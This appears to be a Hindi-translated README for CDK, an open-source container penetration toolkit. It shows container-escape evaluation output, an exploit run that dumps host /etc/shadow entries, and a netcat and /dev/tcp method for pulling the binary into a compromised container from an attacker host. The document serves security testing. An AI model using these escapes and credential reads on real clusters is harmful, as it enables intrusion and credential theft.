
📦 K8s, Docker और Containerd की सुरक्षा परीक्षण को आसान बनाएं।
अंग्रेज़ी | 简体中文

बिना पूर्व पारस्परिक सहमति के लक्ष्यों पर हमला करने के लिए CDK का उपयोग अवैध है। CDK केवल सुरक्षा परीक्षण उद्देश्यों के लिए है।
CDK एक ओपन-सोर्स कंटेनर पेनिट्रेशन टूलकिट है, जिसे बिना किसी OS निर्भरता के विभिन्न स्लिम्ड कंटेनरों में स्थिर शोषण प्रदान करने के लिए डिज़ाइन किया गया है। यह उपयोगी नेट-टूल्स और कई शक्तिशाली PoCs/EXPs के साथ आता है और आपको कंटेनर से बचने और आसानी से K8s क्लस्टर को अपने कब्जे में लेने में मदद करता है।
मूल्यांकन जानकारी और एक अनुशंसित शोषण प्राप्त करने के लिए cdk eva चलाएं, फिर हमला शुरू करने के लिए cdk run चलाएं।
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
https://github.com/cdk-team/CDK/releases/ से नवीनतम रिलीज़ डाउनलोड करें।
निष्पादन योग्य फ़ाइलों को लक्ष्य कंटेनर में डालें और परीक्षण शुरू करें।
यदि आपके पास एक शोषण है जो फ़ाइल अपलोड कर सकता है, तो आप सीधे CDK बाइनरी अपलोड कर सकते हैं।
यदि आपके पास RCE शोषण है, लेकिन लक्ष्य कंटेनर में curl या wget नहीं है, तो आप CDK देने के लिए निम्न विधि का उपयोग कर सकते हैं:
(on your host)
nc -lvp 999 < cdk
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK में तीन मॉड्यूल हैं:
उपयोग
cdk evaluate [--full]
| रणनीति | स्क्रिप्ट | समर्थित | उपयोग/उदाहरण |
|---|---|---|---|
| सूचना संग्रह | OS Basic Info | ✔ | link |
| सूचना संग्रह | उपलब्ध क्षमताएँ | ✔ | link |
| सूचना संग्रह | उपलब्ध Linux कमांड | ✔ | link |
| सूचना संग्रह | माउंट्स | ✔ | link |
| सूचना संग्रह | नेट नेमस्पेस | ✔ | link |
| सूचना संग्रह | संवेदनशील ENV | ✔ | link |
| सूचना संग्रह | संवेदनशील प्रक्रिया | ✔ | link |
| सूचना संग्रह | संवेदनशील स्थानीय फ़ाइलें | ✔ | link |
| सूचना संग्रह | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| सूचना संग्रह | DNS-आधारित सेवा खोज | ✔ | link |
| खोज | K8s Api-सर्वर जानकारी | ✔ | link |
| खोज | K8s सेवा-खाता जानकारी | ✔ | link |
| खोज | क्लाउड प्रदाता मेटाडेटा API | ✔ | link |
सभी उपलब्ध शोषण सूचीबद्ध करें:
cdk run --list
लक्षित शोषण चलाएं:
cdk run <script-name> [options]